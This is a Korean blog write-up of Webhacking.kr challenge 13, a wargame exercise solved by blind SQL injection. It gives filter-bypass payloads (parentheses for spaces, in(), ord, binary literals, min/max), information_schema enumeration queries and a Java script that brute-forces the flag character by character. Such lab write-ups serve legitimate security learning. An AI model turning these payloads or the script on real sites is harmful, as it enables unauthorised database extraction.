본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 13번 문제풀이 ★★★★☆ -자바-

by Hevton 2020. 9. 25.
반응형

해당 문제는 Webacking.kr에서 제공하는 문제 중, 배점이 압도적으로 1등인 1000점 짜리 문제다.

그만큼 난이도가 있다는 거~~~~~~~

 

겁에 질려서 하루 하루 미루다가 겨우 풀게 됐다.

입장 시 등장하는...아우라..

문제는 딱보면 그렇게 어려워보이진 않는다. 나도 첨에 봤을 땐 "뭐야 얼마 안걸리겠는데?" 싶었는데, 내 어리석은 생각이였다.

필터링 되는 문자가 미친듯이 많다 ㅋㅋ.. 하나하나 다 적어놓진 않았지만 일단 생각나는 정도는

 

+ / * - 공백류 전체(\t,\n,\r,+,%0a,%0b,%0c ...등) and && = LIKE LIMIT WHERE GROUP ASCII /**/ 0x CHAR()

 

그리고 이외에도 굉장히 많았던 것으로 기억한다.. 문제 출제자분도 진짜 고심 고뇌하시며 힘들게 문제를 출제하셨을 것 같다는 생각이 들었다. 덕분에 많이 괴로웠습니다..ㅜ

 

 

일단 제출 입력값에 0부터 다양한 숫자를 넣어본다.

 

▪︎ 결과

 

‣ 0을 넣었을 땐 반응이 없고

 

‣ 1을 넣었을 땐

1을 넣었을 경우

result에 1이 출력이 되고

 

‣ 그 이외의 숫자들은

0과 1을 제외한 수를 넣었을 때

result에 0이 출력이 된다.

 

입력값에 따른 이런 결과값들로 미루어 봤을 때, Blind Sql Injection 공격을 생각해 볼 수 있다.

 

 

대충 쿼리문을 예상했을 때

SELECT result FROM table_name WHERE no=

정도임을 예상해볼 수 있고, 이제 차근차근 데이터베이스명부터 컬럼의 값 까지 기나긴 여행을 시작하면 된다.

 

▶︎ 먼저, 알아둬야 할 내용에 대해 간단히 설명하겠다.

∙ database() 는 현재 사용하고 있는 데이터베이스를 출력.

∙ 데이터베이스 선택 없을 때 -> select database(); = NULL

∙ use sample_db -> select database(); = sample_db

 

 

나는 문제를 풀면서 단계마다 되게 다양한 방법을 이용했는데, 우선 데이터베이스명을 찾을 땐 아래와 같은 과정을 거쳤다.

0 or (참) 일 경우 결과값이 무조건 1로 나오니, 0 or (거짓) 일 경우를 만들어서 결과값을 통해 조건식의 참 거짓결과 판단한다.

(0)or(length(database())%7)

우선 기본적으로 공백이 필터링이므로, () 를 사용해 공백처리를 우회했다.

그리고 가볍게 나머지 연산자를 사용해서 데이터베이스의 길이를 구해봤다. 물론 이 방법의 주의할 점은, 결과값이 같은 수가 한가지가 아닐 수 있다는 것. 즉, 15%7 = 1인데 8%7 = 1이다. 따라서 그리 좋은 방법은 아니다. 가능한 경우를 큰 숫자부터 생각해줘야하고, 때려맞추는 감도 조금 필요하다. 사실 이 방법은 좋은 방법이 아니다. 너무 불확실하다. 그런데 나중에 정확한 값을 떠나서 경우를 생각할 때에 이용되기도 하니 몸에 익혀두는 정도로 넘어가자.

 

근데, 전체 데이터베이스를 모두 구해보지 않느냐고 생각할 수 있다. 물론 그게 정석이고 정확한 방법이다. 나는 그냥 현재 페이지에서 사용하는 데이터베이스를 바로 얻은건데, 완전히 정석으로 모든 데이터베이스부터 구하려면 아래와 같이 해주면 된다.

(0)or((SELECT(count(schema_name))FROM(information_schema.schemata))%2)

여기서도 나머지 연산자를 사용했는데, 이런 습관은 좋진 않다. 여튼 이 결과가 0이 될때를 찾아서 값을 판단해보면

총 데이터베이스는 2개임을 알 수 있다. 그치만 하나는 방금 이 과정에서 쓴, 메타데이터 데이터베이스인 information_schema일 테니까 역시나 우리가 database()로 구했던 값이 우리가 원하는 값이라는 것을 다시금 알 수 있다.

 

이제 7글자 짜리 데이터베이스의 이름을 알아보자.

현재 ASCII와 =가 필터링이기 때문에 이를 우회해줘야한다.

 

▶︎ 우선 알아야 할 내용

∙ = 필터링 우회 -> in() (where사용이랑은 별개). LIKE와 같은 느낌.

∙ ascii 핕터링 우회 -> ord 또는 hex

ord는 멀티바이트( 한글 ) 같은 경우만 아니면 ascii랑 동일하게 작동

hex는 문자열을 아스키코드 헥사값으로 변환해줌.

+ 비슷한 방식으로 char 아스키코드값을 문자로 변환.

 

이를 토대로 아래 코드를 통해 7글자 전체의 문자를 찾아낸다.

(0)or(ord(substr(database(),1,1))in(99)) //첫번째 글자

음, 혹시나 substr에 대해서 모르는 사람이 있을까봐 잠깐 설명하자면

substr("hello", 1, 1) 하면 hello 문자열에서 앞(1)에서부터 하나(1) 의 문자를 잘라서 리턴한다. 즉 "h" 가 리턴된다.

같은방식으로 substr("hello", 2, 1)은 "e"가 리턴된다. 주의할 점은 배열의 인덱스나 LIMIT 처럼 시작점이 0부터가 아닌 1부터 라는것.

 

이렇게 반복하다보면, "chall13" 이라는 값을 얻어낼 수 있다.

직접 손으로 반복하지 말고, 코드로 작성하길 권한다..

프로그래밍 언어별로 인터넷프로그래밍 관련 객체와 함수가 정의되어 있을 것이다. 필자는 자바를 너무나 좋아해서

글 아래에 자바로 구현한 방식에 대한 포괄적인 코드를 올려놓을 테니 필요에 따라 변경하여 응용해주면 될 것이다.

 

여기까진 상대적으로 상당히 간단하다. 하지만 이제부터 좀 고뇌가 필요하다.

chall13이라는 데이터베이스명을 얻었으니, 이제 이 데이터베이스에 몇개의 테이블이 있는지 알아내야 한다.

하지만 WHERE 키워드가 필터링인 상태이므로 아래와 같은 일반적인 테이블 추출 명령을 사용할 수 없다.

SELECT table_name FROM information_schema.tables WHERE table_schema='chall13';

 

여기서부터 난관에 봉착했다.

SELECT table_name from information_schema.tables JOIN (SELECT 'chall13' t)x ON information_schema.tables.table_schema=x.t;

처음엔 가벼운 마음으로 위와 같이 Anonymous 테이블을 일시적으로 생성하여 information_schema.tables와 JOIN 해주는 방식이였는데, 진짜... 공백처리라는 큰 산에 막혀서 더이상 나아갈 수가 없었다. 괄호연산을 여기저기 아무리 해줘봐도 문제가 해결되지 않았다. 포기...

(-> 문제 부분은 (SELECT 'chall13' t)x를 어떻게 괄호처리로 ON과 구분하느냐.. 별 수를 다써봤는데 안된다 ㅋ 아시는분..?)

 

저걸 공백으로 띄워줄 방법이 도저히 없어서 그냥 아래와 같은 방법에 중복되는 데이터들을 제거하는 중복제거를 생각해냈다.

JOIN 을 다소 우스꽝스럽게 사용했는데, 저렇게 사용하면  두 테이블은 JOIN 되나 서로간의 명확한 연결다리가 없기 때문에

1:1 매칭방식으로 모든 값들이 AxB 방식으로 매칭될것이고 (테이블 데이터가 5개, 5개라면 5x5로 매칭 = 25개) 그 중 데이터의 중복이 생긴다. 따라서 distinct 키워드로 제거해주는 방식이다.

(SELECT(count(distinct(table_name)))in(2)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in('chall13')));

근데 적용해보면 알겠지만, 이거 안된다. ㅋㅋㅋ 내 mysql에 넣어봤을 때는 정상적으로 작동하는데, 왜안될까? 여기서 의문이 생긴다. 내 my sql에서는 되는데 문제에서는 되지 않는다면 분명히 제대로 동작하지 않는 무언가가 있다는 것인데..

싱글쿼터가 필터링 되지 않은게 약간 의아하긴 해서 문제 주소에 아래와 같이 입력해봤다.

((0)or('1'in('1')));

원래 true가 나와야 하는 이 결과가 false가 나온다... 싱글쿼터가 필터링은 안되나 작동을 안하는 것을 유추해볼 수 있다.

굉장히 어이가 없는 상황이다. ㅋㅋㅋㅋ 필터링은 아니지만 작동을 안하다니...

 

따라서 위의 코드를 아래와 같이 고쳐져야 한다. 그리고 이제부터 싱글쿼터(더블쿼터도 보함)는 사용해주지 말아야 한다.

(SELECT(count(distinct(table_name)))in(2)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));

내가 in(2) 를 했듯이, in 안에 여러 값들을 넣다 보면 2일때 참이 된다. 테이블의 갯수가 2개라는 것이다.

 

어떻게 알아내긴 했는데.. JOIN ON을 예쁘게 사용한 것도 아니고, 익명테이블 방식을 성공적으로 적용시킨것도 아니고.. 그냥 중복데이터 상관없이 쭉 나열한다음에 그중 database값과 맞는것들을 찾고 중복을 제거한 방식이라 풀이 방식이 부끄럽고.. 풀었어도 조금 찝찝하다.

코딩으로 치자면.. 내가 푼 방식은 코드의 리펙토링 같은건 1도없는 코딩 느낌...고수는 규칙찾아서 10줄로 풀 때 나는 if문을 8개 중첩으로 해서 구현한 그런 뻐근한 느낌.. 그래도 해킹은 코딩이 아니니까...!! 취약점만 찾으면 되는거겠지...ㅠㅜ?

 

ps..

해당 문제는 공백이 필터링이라 ()를 사용해줬어야했는데 SQL에서는 ()로 묶을 수 있고 없는 것들이 명확하면서도 불명확한것같다.. 기본 키워드들을 못묶는다고 생각하다가도 distinct는 또 묶인다..
그리고 익명테이블 선언같은 (select 'hello't)x 는 또 ((select 'hello't)x) 이렇게 못묶인다..ㅋㅋ (table_name) 은 이렇게 묶이면서..
뭐가 그렇게 안되는거랑 되는거랑 구분이 뚜렷하지가 않는건지..
별개로 (select 'hello' as 't') as x 는 되지만, (select 'hello' as 't') as 'x'는 안된다.
(참고로 별명을 만들어주는 as 키워드는 원래 생략가능하다)
뭐..점점 알아가는거겠지.. 사실상 이렇게 복잡하게 얽히고 섥혔기 때문에 내 데이터베이스로 작동되는지 연습해보고 문제에 적용해야만 한다..

 

여튼 각설이 길어졌는데, 다시 본론으로 돌아와 테이블의 갯수가 2개까지인 것을 알아냈다.

난 앞으로도 이 형편없어 보일 수 있는 JOIN ON 사용방식으로 문제를 풀 것이다.

 

테이블의 갯수가 두개인데, 현재 LIMIT 키워드가 필터링 상태이다. 이런 조건에서는 MIN() MAX() 함수 사용을 고려해볼 수 있다.

 

▶︎ 우선 알아야 할 내용

MAX() 은 선택된 칼럼에서 가장 큰 값을 가져옵니다.

가장크다 -> 문자를 앞부터 하나하나 순서대로 비교하면서 . c와 asfsdg를 비교했을 때 c가 크다. (길이와는 상관없음)

MIN()은 이와 반대

 

따라서 MIN()과 MAX()를 사용해 두 가지 경우의 값을 모두 얻어온다.

(SELECT(length(min(distinct(table_name))))in(13)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));

하나는 테이블 길이 13

(SELECT(length(max(distinct(table_name))))in(4)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));

다른 하나는 테이블 길이가 4임을 알아낼 수 있다.

 

+ 여태 length를 select를 감싸는 가장바깥에 쓰곤 했는데, select 다음에 써서도 동일한 효과를 낼 수 있다는 걸 생각할수있게됐다.
-> length(SELECT "HELLO") = 5, SELECT length("HELLO") = 5;

 

이제 둘의 테이블 명을 알아내보자.

(ord(substr((select(min(distinct(table_name)))from(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database()))),1,1))in(65))

substr의 두번째 인자를 변경해가며 문자의 위치를 셀렉트하고, in() 안의 아스키코드값을 넣어주면서 해당 문자가 무엇인지를 확인해본다.

프로그램으로 돌려보면 "flag_ab733768" 라는 값이 나온다. 마찬가지로 max도 해주면 "list" 라는 값이 나온다.

 

 

문제에서 요구하는게 flag 이므로, 자연스럽게 "flag_ab733768" 테이블에 눈길이 갔다. 그리고 이 테이블에 컬럼 갯수를 조사해 보려면 flag_ab733768 라는 문자를 어떻게든 쿼리에 넣어줘야 해당 테이블로 필터링이 될 텐데, 현재 싱글쿼터 더블쿼터가 모두 필터링인 상태라 다른 방법을 생각해봐야한다.

 

▶︎ 우선 알아야 할 내용

문자열 표현 방법

1. 아스키 값으로 우회

CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56) = 'flag_ab733768'

mysql> select 'flag_ab733768'in(CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56));
+--------------------------------------------------------------------+
| 'flag_ab733768'in(CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56)) |
+--------------------------------------------------------------------+
|                                                                  1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

결과 1 -> 같다는 것

 

2. 헥사 코드 값으로 우회

0x666C61675F6162373333373638 = 'flag_ab733768'

각 문자의 헥사값을 구한 뒤 연결(00~FF 아스키는 255최대) ps. 가장 왼쪽에 접두어로 0x를 붙인다.

ex) "admin" = 0x61646d696e (아스키코드 16진수값) = 0x a(61)  d(64)  m(6d)  i(69)  n(6e)

mysql> select 'flag_ab733768'in(0x666C61675F6162373333373638);
+-------------------------------------------------+
| 'flag_ab733768'in(0x666C61675F6162373333373638) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

결과 1 -> 같다는 것.

 

3. 이진수 값으로 우회

0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000 = 'flag_ab733768'

각 문자의 이진수값을 구한 뒤 연결(00000000 ~ 11111111 아스키는 255 최대) ps. 가장 왼쪽에 접두어로 0b를 붙인다.

ex) "admin" = 0b0110000101100100011011010110100101101110(아스키코드 2진수값) = 0b a(01100001) d(01100100) m(01101101 ) i(01101001) n(01101110)

mysql> select 'flag_ab733768'in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000);
+-------------------------------------------------------------------------------------------------------------------------------+
| 'flag_ab733768'in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000) |
+-------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                             1 |
+-------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

결과 1 -> 같다는 것.

 

 

위 세가지 방법 중에 현재 CHAR과 0x가 필터링 상태이고, 이진수를 뜻하는 0b는 필터링이 아니므로 이진수로 값을 넘겨줘야 한다..!

그리고 이제 컬럼이 몇개인지를 알아보자..

(select(count(distinct(column_name)))in(1)from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)));

코드가 상당히 길어졌지만.. 결과는 잘 나온다. in 안의 값을 조정하다보면 컬럼이 1개인 것을 알 수 있다.

 

 

그리고 그 컬럼명을 알아보자 (여기서부터 min 안써도 되는데(컬럼이 한개여서) 내가 위에 썼던 코드들을 재사용해버려서 그냥 계속 같이 들어갔다. ㅋㅋ 모두 지우기 귀찮 ㅠㅠ)

(select(length(min(distinct(column_name)))in(13))from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)));

결과로 13.

13글자의 긴 컬럼을 가지고 있다.

 

컬럼명을 구해보자..

(ord(substr((select(min(distinct(column_name)))from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000))),1,1))in(65))

in 65는 그냥 임의로 넣어뒀던 값이다. 내 코드에 계속 저렇게 고정되어 있는데, 저 부분을 변경해주면서 해당 문자가 무엇인지 알아내면된다. 여튼 결과로 컬럼명이 flag_3a55b31d 인 것을 알 수 있다.

 

이제 해당 컬럼에 데이터값이 몇개인지 알아보자.

(select(count(flag_3a55b31d))in(2)from(flag_ab733768))

결과는 2개. 마찬가지로 LIMIT이 필터링이고 값은 2개이므로 MIN() MAX() 를 사용해 값을 찾아내주자.

(select(length(min(flag_3a55b31d))in(4))from(flag_ab733768))

데이터 하나는 길이가 4

(select(length(max(flag_3a55b31d))in(27))from(flag_ab733768))

나머지 데이터 하나는 길이가 27이다 ㅋㅋ.. 직감적으로 이게 정답이겠거니 싶어서 max 값을 갖는 데이터값에 대해 알아봤다.

(ord(substr((select(max(flag_3a55b31d))from(flag_ab733768)),i,1))in(j))

27자이므로, 이것만큼은 제발 프로그램 돌려야한다~~ 물론 여태까지 모든 것들도 다 프로그램 돌려야 함 ㅜㅜ

i 와 j 라고 넣어준 부분에 이중포문 변수 i j를 이용해서 카운트 값을 바꿔주며 원하는 값을 찾아내면 된다.

 

그럼 결과로

FLAGchallenge13gummyclear 이 나온다.

문제에서 FLAG{something} 이라는 방식으로 입력하라고 나와있으니

제출 형식에 맞게 FLAG{challenge13gummyclear} 로 입력해주면 문제가 풀린다.

아..밤을샜네
이거보겠다고..내 새벽을 불태웠다.

 

+ 내가 작성한 자바 코드 (마지막 flag값 도출 과정 기준 코드. 입맛대로 수정하여 사용하면 됌)

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class break_even_point {

    public static void main(String args[]) {
        try {
            for(int i = 1; i < 28 ; i++) { // id는 27자리
                for(int j = 48 ; j < 123 ; j++) // 십진수 48 = 아스키 '0', 십진수 122 = 아스키 'z '
                {
                    StringBuilder sb = new StringBuilder();
                    String str = "index.php?no=%28ord%28substr%28%28select%28max%28flag_3a55b31d%29%29from%28flag_ab733768%29%29%2C"+i+"%2C1%29%29in%28"+j+"%29%29";
                    URL url = new URL("https://webhacking.kr/challenge/web-10/"+str);
                    HttpURLConnection hc = (HttpURLConnection) url.openConnection();
                    hc.setRequestProperty("Cookie", "PHPSESSID=본인의세션값");

                    BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
                    String s;
                    while ((s=br.readLine())!=null)
                        sb.append(s);

                    if(sb.indexOf("200")!=-1) {
                        System.out.print(String.format("%c", j));
                        break;
                    }
                }
            }
            
        } catch (Exception e) {

        }
    }
}

 

 

 

+ 써먹기 좋은 내용

익명 테이블을 JOIN 하여, 공격 테이블에서 원하는 값만 순수하게 가져올 수 있음. 내가생각해도 뿌듯한 방법.. 비록 공백때문에 못써먹었지만

ex)

SELECT * FROM book JOIN (SELECT 'Math BOOK' as t) as w ON book.title=w.t;

book 테이블에서 title이 Math BOOK인 값만 가져옴. 이 경우 ON으로 두 테이블을 연관시켰으므로, 나의 문제풀이 방법에서 생겼던 중복은 생기지 않음(둘을 연관시키지 않았으므로 갯수x갯수로 그냥 모두출력된것).

 

select * from book JOIN maker; -> 매칭조건이 없으므로 book의 번호 x maker 번호 갯수만큼 1:1 대입으로 모두 출력
select * from book JOIN maker ON maker_id=x -> 이번엔 maker_id 제한은 들어갔지만 두 테이블간에 매칭되는 조건이 마찬가지로 없으므로, maker_id 제한사항 안에서 또 모두 1:1출력
따라서 distinct써줘야함.

 

+ 시도했지만 아쉬웠던 방법

select table_name from information_schema.tables

table_name -> if((table_schema)in('chall13'), table_name, 0); //table_schema = chall13 인 table_name.

select if((table_schema)in('chall13'), table_name, 0) from information_schema.tables

 

+ 0을 넣으면 아무것도 출력이 안되나, (0)을 넣으면 result에 0이 출력되는걸 미루어 짐작할 때

서버측에서 NULL이나 0을 입력하면 아예 무시하게끔 해놓은듯.

( 왜냐 0과 (0)은 SQL문에서 같은값으로 읽히므로 동일하게 작동해야 하는데, 다르게 작동하고 있으므로. ) 

 

+ 몰라도 되는 잡 지식 ( 현재 문제에서 전혀 쓰이진 않으나, 그냥..과정에서 알게 된 지식 )

// Integer.toHexString = 10진수의 16진수 변환.

// Integer.parseInt("", 16)은 해당 문자열을 16진수로 인식하고 10진수로 변환시켜줌. 단 0x는 빼줘야함.

 

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 15번  (0) 2020.09.27
[Webhacking.kr] 14번  (0) 2020.09.26
[Webhacking.kr] 12번 문제풀이  (0) 2020.09.18
[Webhacking.kr] 11번 문제풀이  (0) 2020.09.14
[Webhacking.kr] 10번 문제풀이  (0) 2020.09.14